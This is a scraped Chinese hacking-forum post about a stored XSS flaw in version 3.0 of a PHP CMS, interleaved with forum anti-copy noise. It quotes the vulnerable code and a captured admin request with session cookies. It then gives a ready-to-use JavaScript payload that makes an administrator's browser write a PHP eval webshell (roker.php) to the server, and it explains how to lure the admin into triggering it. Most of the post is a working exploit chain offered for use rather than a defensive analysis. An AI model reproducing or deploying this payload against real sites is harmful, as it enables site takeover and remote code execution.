找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2510|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题1 ~# U0 [, w6 W; A5 y& z% Z
官网已经修补了,所以重新下了源码; V$ Z# }) j5 E2 h% [- O
因为 后台登入 还需要认证码 所以 注入就没看了。
6 Z8 Z5 W# Z3 A2 I7 {8 j( \存在 xss3 R/ c- \7 i5 V  a; |
漏洞文件 user/member/skin_edit.php
1 a# |9 \) c0 ^7 [本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:2 v- t0 a9 [+ Q/ X. J1 p6 ^
  
9 w3 Y' G( y5 w' F% _% a) W</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
' [$ X9 a5 q7 P$ o1 v  : i4 n: |1 v, l" d
</textarea></td></tr>& l  O$ e: t$ {8 \) K3 s
  
7 a. k8 F3 l% d. r             user/do.php
2 Z; J( W0 W) A/ K6 h% z. i
+ p# ~. e# K. H0 o- ~$ {6 {1 s) p
if($op=='zl'){ //资料$ @4 v- Y: f+ M& m8 s* R3 z
  1 r3 k: E2 n* @' g% i" }( A8 U4 }
             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) 0 u3 c8 Z8 ?5 {( r! r+ P: l
             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));8 F- _/ d2 K" b6 `2 J5 k( T7 k% T9 v( ^
  
5 j! p) E+ {0 U& d  m2 E             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',& X% \9 `. y- ?  m3 z7 C& M  ?
  
7 J/ f* m" U; x2 b, X5 x             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
, X( c7 L" W/ |, w1 Z0 _             where CS_Name='".$cscms_name."'";
: [1 H( J6 b# ^7 y3 X  / q3 c% d  F' v5 N# A. Z
             if($db->query($sql)){
- C! J$ m; i' g) C" \) T  ( D& w0 q: I9 J' @- m
              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
# H+ D5 l' M7 F; E  
3 Q4 U# T+ r+ u# S             }else{# F4 j, R  d2 w2 u$ F
  
' i* `7 x% p* @. k3 c- ?: l+ [. ]( n              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
6 Q- |" S' O# Z% ^7 y5 X  
! a8 C( N  Q2 R0 `             }
" }. e3 y/ w# i4 ~6 x$ \2 K9 D" b
$ m$ j$ D  T6 S
0 k9 [8 ^& q) U1 d2 r没有 过滤导致xss产生。4 r3 R" Z7 b2 c% F
后台 看了下 很奇葩的是可以写任意格式文件。。
% x- i: w! i1 X抓包。。) w" \2 w: r+ C: J% d
7 l  H. K5 f1 C: }

/ ?; U5 o% \  e$ T本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1: D2 K0 Q6 c' M& [6 z# X
  # o' M2 K6 j# a6 d( D9 {5 J
Accept: text/html, application/xhtml+xml, */*
8 N, J3 d+ h/ L+ G0 o/ j+ t  
3 r: ?- X+ M% q3 G- ~4 IReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php# P1 H: j* B) y% a3 [
  % j6 l  ^, L1 f4 ?) V  u" q: N- J9 Q
Accept-Language: zh-CN
4 j' ?' K  V3 v& c; t( P  
. i# ?7 L- [2 }% QUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)2 n. S  ^& R7 q1 n$ t% o1 p
  
- n# X1 d  U" y- ^* kContent-Type: application/x-www-form-urlencoded
! }. `3 Z3 A& I! L$ Z0 k) {  
# E; B0 c) Q3 p% [  E+ KAccept-Encoding: gzip, deflate5 ?' b" i: x  s; l
    ^9 \5 i2 `0 o4 m. _' K
Host: 127.0.0.1$ C4 L8 w8 y* m$ E
  9 O9 \4 @, V# A6 X/ o
Content-Length: 38- [: a% L* r8 ^5 C
  
, F. A6 U4 l) v! o# B# R7 z5 ODNT: 1
9 z9 g) m% W4 J$ W" z; [  
% `! X! E2 s! G' v$ i3 u; EConnection: Keep-Alive
: e8 ?. _' [+ h( ]3 w! F  
( y! n5 E$ N$ K6 t/ g; A5 w/ q8 ?Cache-Control: no-cache/ c! L- g9 {" ~' c
  ; U2 g7 t3 G8 f3 k% `$ [5 ~
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f655941 h; G$ [- Q6 x2 o$ j
  4 o' C8 r: p# F3 k+ w; |
5 t+ A, q4 X  v* b! E" C
name=aaa.php&content=%3Cs%3E%3Ca%25%3E' H! Q$ U+ ?, r4 l$ g. K+ v
7 B/ \  Z3 [3 F- ~7 [
7 h9 y) ?3 a0 a

& }4 U/ j% [- ]) r于是 构造js如下。
$ g+ i- s; p9 }3 k5 p+ B) E: L" {4 P6 u1 ~& j4 u- K
本帖隐藏的内容<script>
9 B3 `' y* o- G8 o7 E, P1 `( ?thisTHost = top.location.hostname;: x0 \6 d$ B; w* f+ I
  7 U4 x& w; T6 e9 [2 p
thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";2 E2 ~1 G) ?8 V, X* O3 Q* w& S& y
  
+ z  t7 z! P9 l  I; \function PostSubmit(url, data, msg) {
, t2 y) M+ O+ X4 b9 W4 n) l    var postUrl = url;
( d" d: H# z, a+ G/ F2 ^0 u  & h9 S3 G# w- L9 y/ ?3 i
    var postData = data; ! w9 Y0 I1 a; |$ s  q' ~: R$ U: ~6 U
    var msgData = msg; ! H) M$ U* h, W% I$ t
    var ExportForm = document.createElement("FORM");
* ?5 G$ c* f4 V+ z: Z7 M1 Z  d: ?    document.body.appendChild(ExportForm);
" }! f& H' ]/ j: G    ExportForm.method = "POST";
9 u8 k. O/ ?/ F$ a, }5 p    var newElement = document.createElement("input");
5 D; M! L7 B9 T0 ?. W1 ?    newElement.setAttribute("name", "name");
8 N! v6 u2 c- V% Q% E; B# V    newElement.setAttribute("type", "hidden");
. J  h" N/ {% s    var newElement2 = document.createElement("input");
6 J& ?/ N, W7 u3 K1 y& Y    newElement2.setAttribute("name", "content"); : x0 U( Y, c% i9 v0 \
    newElement2.setAttribute("type", "hidden"); 0 r8 b3 Q- F' \" ]7 y# V
    ExportForm.appendChild(newElement);
+ |6 N* @0 u, V# V; h4 Y7 _/ K1 v    ExportForm.appendChild(newElement2); 8 |0 Z. A( a, l( n
    newElement.value = postData;
; t* h. A3 T( m, U    newElement2.value = msgData;
& p! }! ?* Z8 N: f    ExportForm.action = postUrl; ; `0 R! X) K1 d/ `& d1 U; M& S- i' z+ `
    ExportForm.submit();
/ p* s/ _+ s2 ^1 X. c7 F5 W* o2 N8 K};
# k6 A" }# `# g+ n% ]. P2 s  2 [) x+ h  m- Y6 n5 l; b3 `+ w9 h
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
6 a' o  J/ h+ L3 W2 i  3 G, ^9 B) C, L3 n
</script>
$ ^1 ]8 Q( ^0 N# Y7 r* t
* S3 L; D- {7 t" ]) i6 t% p& |& ]: {/ h$ y( F% @: \6 u
% P( s4 r* u4 |8 D  Z4 J: v
http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
' \* s/ l' J  l/ C0 J3 v用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)
1 W+ [+ r1 @4 G就会 在 skins\index\html\目录下生成 roker.php 一句话。
2 P$ Y! Z6 u/ B- a5 D+ h1 j' P% L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表